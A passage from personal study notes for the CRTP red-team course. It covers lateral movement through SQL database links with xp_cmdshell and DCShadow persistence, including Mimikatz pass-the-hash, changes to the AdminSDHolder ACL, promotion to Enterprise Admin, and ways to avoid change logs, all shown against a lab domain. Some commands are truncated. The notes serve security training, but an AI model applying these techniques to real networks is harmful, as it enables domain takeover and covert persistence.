ﺗﺮا ﻣﺮه ﻣﻬﻢ اﻟﺴﻨﻘﻞ ﻛﻮت ﻳﻌﻨﻲ ﻟﻮ ﻋﻨﺪك اﻛﺜﺮ ﻣﻦ ﻟﻨﻚ ف ﻳﺼﻴﺮ ﻛﻞ ﻛﻮﻳﺮي ﻧﺰود ﻋﺪد اﻟﺴﻨﻘﻞ ﻛﻮد
select * from openquery(”DCORP-SQL1”,’select * openquery("DCORP-MGMT", '' select * from master..sysservers '' )’) →
and so on .
CRTP-Notes-Meshari-Almalki 107
Executing Command ( xp_cmdshell )
On the target server, either xp_cmdshell should be enabled
# Execute Command
Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query "exec master..xp_cmdshell 'whoami'" | ft <- FormatTable
# Manually
select * from openquery("dcorp-sql1",'select * from openquery("dcorpmgmt",''select * from openquery("eu-sql.eu.eurocorp.local"
@@version as version;exec master..xp_cmdshell "powershell
whoami)'''')'')')
We can execute command across Forest trust just by using Database Links.
CRTP-Notes-Meshari-Almalki 108
Forest Persistence - DCShadow
it’s register temporarily a new Domain Controller on the target domain , and uses it to
“push” attributes Like:
SIDHistory
SPNs
on specified objects ( Without leaving the change logs for modified object )
Configuration Container.
The attacker’s machine must be part of the Forest Root Domain ( able to successfully DCShadow )
💥 Attacking:
We need Two Instances Mimikatz:
1. start RPC server With System Privileges and specify the object and attributes to be
modified in this instance.
a. lsadump::dcshadow /push
Demo:
Start Mimikatz And should Running it with SYSTEM privileges.
CRTP-Notes-Meshari-Almalki 109
Now run This command to change the value of the Attribute for a specific user:
When We Escalate our Privileges from DA to EA using the krbtgt of DollarCorp we can get the
hashes of Administrator of moneycorp.local
CRTP-Notes-Meshari-Almalki 110
sekurlsa::pth /user:Administrator /domian:moneycorp.local /ntlm:<HASH_OF_ADMINISTRATOR> /impersonate
Now Run the command lsadump::dcshadow /push With Domain Admin And push the Attribute:
CRTP-Notes-Meshari-Almalki 111
In DCShadow attacks → There is no change logges on the target object.
CRTP-Notes-Meshari-Almalki 112
What the permissions are required:
Replication Synchronization
CreateChild
CRTP-Notes-Meshari-Almalki 113
DeleteChild
With Domain Admin Privileges We can modifiy any object from any machine as domain admin
For Example, to use DCShadow as user student1 to modify root1user object from machine mcorp-
student1
Now After That run mimikatz and run the DCShadow Module as we do it before:
CRTP-Notes-Meshari-Almalki 114
Once We have permission sorted out , so much of interestign stuff can
be done.
CRTP-Notes-Meshari-Almalki 115
lsadump::dcshadow /object:<user> /attribute:primaryGroupID /value:519 -> EA
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local")).psbase.ObjectSecuri
We just need to append a Full control ACE from above for SY/BA/DA with our user’s SID at the
end .
SY → System
BA → Built-in Administrator
DA → Domain Admin
This is for Built-in Administrator so we will copy and replace BA with Our sid of user.
CRTP-Notes-Meshari-Almalki 116
Now it’s time for DCShadow 🙂
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<LIKE-Figure>
CRTP-Notes-Meshari-Almalki 117
Now Let’s check our Permission :
CRTP-Notes-Meshari-Almalki 118
Very Interesting Thing ⬇
We Can run DCShadow From DCShadow ( Shadowception )
That without leaving logs 😉
Before we Mentioned the Set-DCShadowPermissions with minimal permissions but there is a
problem
( leaves logs when we changed the ACL for Domain object or Site object )
(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;; UserSID )
(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;; UserSID )
(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;; UserSID )
(A;;WP;;;UserSID) , WP →WriteProbirty
(A;;WP;;;UserSID)
On the Mimikatz:
In the < AC_FOR_DC > we Add our User SID in Domain Object Like this
(OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;; UserSID )
(OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;; UserSID )
(OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;; UserSID )
CRTP-Notes-Meshari-Almalki 119
And now Get the ACL for Attacker machine in our example student13
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=mcorp-student13,CN=Computers,DC=moneycorp,DC=local")).psbase.Ob
In the < ACL_FOR_Attacker > we Add our User SID in Domain Object
Like this
(A;;WP;;;UserSID)
And now Get the ACL for Target user in our example root13user
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=root13user,CN=Computers,DC=moneycorp,DC=local")).psbase.ObjectS
In the < ACL_FOR_Target > we Add our User SID in Domain Object Like
this
(A;;WP;;;UserSID)
CRTP-Notes-Meshari-Almalki 120
Finally Get ACL for Sites Object Configuration Container: (A;CI;CCDC;;;UserSID)
(New-Object System.DirectoryServices.DirectoryEntry("CN=Sites,CN=Configuration,DC=moneycorp,DC=local")).psbase.ObjectSecurity.
# First Mimikatz
lsadump:dcshadow
# Second Mimikatz With DA
lsadump::dcshadow /push
Done 😋.
CRTP-Notes-Meshari-Almalki 121